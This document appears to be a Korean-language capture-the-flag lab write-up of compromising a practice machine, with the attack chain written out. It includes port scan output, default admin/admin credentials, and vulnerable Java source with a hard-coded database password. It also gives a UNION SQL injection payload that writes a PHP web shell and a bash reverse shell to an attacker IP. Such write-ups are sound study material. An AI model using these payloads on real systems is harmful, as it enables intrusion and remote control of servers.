Machine IP : 192.168.192.147
초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
포트 스캔
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
| 3072 78:2f:ea:84:4c:09:ae:0e:36:bf:b3:01:35:cf:47:22 (RSA)
| 256 d2:7d:eb:2d:a5:9a:2f:9e:93:9a:d5:2e:aa:dc:f4:a6 (ECDSA)
|_ 256 b6:d4:96:f0:a4:04:e4:36:78:1e:9d:a5:10:93:d7:99 (ED25519)
111/tcp closed rpcbind
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
17445/tcp open http Apache Tomcat (language: en)
|_http-title: Issue Tracker
|_http-trane-info: Problem with XML parsing of /evox/about
30455/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: W3.CSS
50080/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.15
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: W3.CSS Template
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds
http://192.168.192.147:17445/ 로그인, 가입 기능 존재함 특이한 건 없음
이 페이지는 이슈 트래커 사이트임

feroxbuster -u http://192.168.192.147:50080 -w /home/kali/utill/wordlist/directory-list-2.3-medium.txt -x php,html,pdf,txt,bak -t 50 -r --depth 3 --smart --thorough -s 200,301,302 디렉터리 퍼징

로그인 페이지 발견 admin/admin 크리덴셜 성공

issuetracker.zip 파일 다운로드

압축 파일은 소스코드 파일이며 코드 분석 결과, SQL Injection 취약점 존재
@GetMapping("/issue/checkByPriority")
public String checkByPriority(@RequestParam("priority") String priority, Model model) {
//
// Custom code, need to integrate to the JPA
//
Properties connectionProps = new Properties();
connectionProps.put("user", "issue_user");
connectionProps.put("password", "ManagementInsideOld797");
try {
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker",connectionProps);
String query = "SELECT message FROM issue WHERE priority='"+priority+"'";
System.out.println(query);
Statement stmt = conn.createStatement();
stmt.executeQuery(query);
} catch (SQLException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
// TODO: Return the list of the issues with the correct priority
List<Issue> issues = service.GetAll();
model.addAttribute("issuesList", issues);
return "issue_index";
}
http://192.168.192.147:17445/register 계정 생성
@GetMapping(“/issue/checkByPriority”) GET 메소드로 요청해야하지만 405 발생함
POST 메소드로만 요청되며 인젝션으로 3초 지연 성공

http://192.168.192.147:30455 페이지는 CSS 사이트 같음

http://192.168.192.147:30455 디렉터리 퍼징 결과, phpinfo.php 발견

Union SQLi를 사용해 웹쉘을 업로드할 수 있음
$_SERVER['DOCUMENT_ROOT'] 업로드 경로를 참고해 /srv/http 경로에 업로드 시도
allow_url_fopen On On
allow_url_include Off Off
USER root
HOME /root
$_SERVER['DOCUMENT_ROOT'] /srv/http
권한 상승
[misconfiguration 또는 exploit] 요약
Normal' UNION SELECT '<?php echo system($_GET["cmd"]);?>' INTO OUTFILE '/srv/http/reverseshell.php'; -- 웹쉘 페이로드

루트 권한 확인

http://192.168.192.147:30455/reverseshell.php?cmd=%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.250%2F50080%200%3E%261 bash 리버스쉘 사용
5555, 4444 포트는 서버 측에서 열려있지않아 칼리 서버로 들어오질 못함
사용 중인 50080 포트에 요청 들어오는 것 확인

proof.txt 획득

막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약
phpinfo.php
phpinfo.php가 존재하면 반드시 allow_url_fopen, $_SERVER['DOCUMENT_ROOT'] 설정 값 확인!
On은 파일
$_SERVER['DOCUMENT_ROOT']는 웹서버 루트 경로를 의미함
allow_url_fopen On On
allow_url_include Off Off
USER root
HOME /root
$_SERVER['DOCUMENT_ROOT'] /srv/http
SELCT INTO_OUTFILE
MySQL의 INTO OUTFILE은 DB 서버가 OS 파일시스템에 직접 파일을 쓰는 기능임
Union SQLi를 사용해 웹쉘 업로드할 수 있음
UNION SQLi
소스코드에서 확실한 SQL 취약점이 있으면 OOB도 고려해봐야 함 응답 패킷에서 UNION을 사용한 응답 결과가 안나오면 SELECT INTO OUTFILE 사용해 웹쉘 업로드 시도할 것
1. In-band SQLi (대역 내)
├── Error-based : 에러 메시지로 데이터 추출
└── UNION-based : 응답에 결합된 결과로 추출
2. Inferential SQLi = Blind (추론형)
├── Boolean-based : 참/거짓으로 추론
└── Time-based : 응답 지연으로 추론
3. Out-of-band SQLi (대역 외) ← ⭐ 여기가 빠진 발상!
├── DNS exfiltration
├── HTTP request
└── 파일시스템 부수효과 (INTO OUTFILE) ← Hawat이 이거!
POST 메소드도 GET처럼 url에 파라미터 사용 가능함
소스코드에서 /issue/checkByPriority 엔드포인트를 확인. 근데 GET으로 보내면 405 에러 발생
POST 메소드로 변경했을 때 URL에 파라미터 붙여서도 요청 가능함

디폴트 계정
오픈소스, CMS의 디폴트 계정 검색 전에 admin/admin 크리덴셜을 먼저 시도해보자!